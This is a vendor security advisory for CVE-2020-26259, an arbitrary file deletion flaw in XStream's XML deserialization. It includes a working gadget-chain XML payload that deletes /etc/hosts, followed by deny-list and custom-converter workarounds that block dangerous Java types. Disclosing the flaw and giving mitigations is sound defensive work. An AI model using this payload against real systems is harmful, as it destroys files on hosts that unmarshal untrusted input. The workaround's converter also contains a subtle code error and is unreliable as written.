CVE-2020-26259

## Vulnerability

CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights.

## Affected Versions

All versions until and including version 1.4.14 are affected running in a Java environment containing the JAX-WS runtime, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist.

## Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in the deletion of a file on the local host.

## Steps to Reproduce

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

    <map>
      <entry>
        <jdk.nashorn.internal.objects.NativeString>
          <flags>0</flags>
          <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
            <dataHandler>
              <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                <contentType>text/plain</contentType>
                <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
                  <tempFile>/etc/hosts</tempFile>
                </is>
              </dataSource>
              <transferFlavors/>
            </dataHandler>
            <dataLen>0</dataLen>
          </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
      </entry>
    </map>

    XStream xstream = new XStream();
    xstream.fromXML(xml);

As soon as the XML gets unmarshalled, the payload gets executed and the referenced file is deleted.

Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.

## Impact

The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing process has sufficient rights only by manipulating the processed input stream.

## Workaround

As recommended, use XStream's security framework to implement a whitelist for the allowed types.

Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can simply add two lines to XStream's setup code:

    xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
    xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });

Users of XStream 1.4.13 who want to use XStream default blacklist can simply add three lines to XStream's setup code:

    xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
    xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
    xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, java.beans.EventHandler, java.lang.ProcessBuilder, jdk.nashorn.internal.objects.NativeString, java.lang.Void and void and deny several types by name pattern.

    xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
    xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
    xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });

Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:

    xstream.registerConverter(new Converter() {
      public boolean canConvert(Class type) {
        return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
            || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
            || type == java.lang.Void.class || void.class || Proxy.isProxy(type)
            || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
      }

      public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        throw new ConversionException("Unsupported type due to security reasons.");
      }

      public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
        throw new ConversionException("Unsupported type due to security reasons.");
      }
    }, XStream.PRIORITY_VERY_HIGH);

## Credits

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.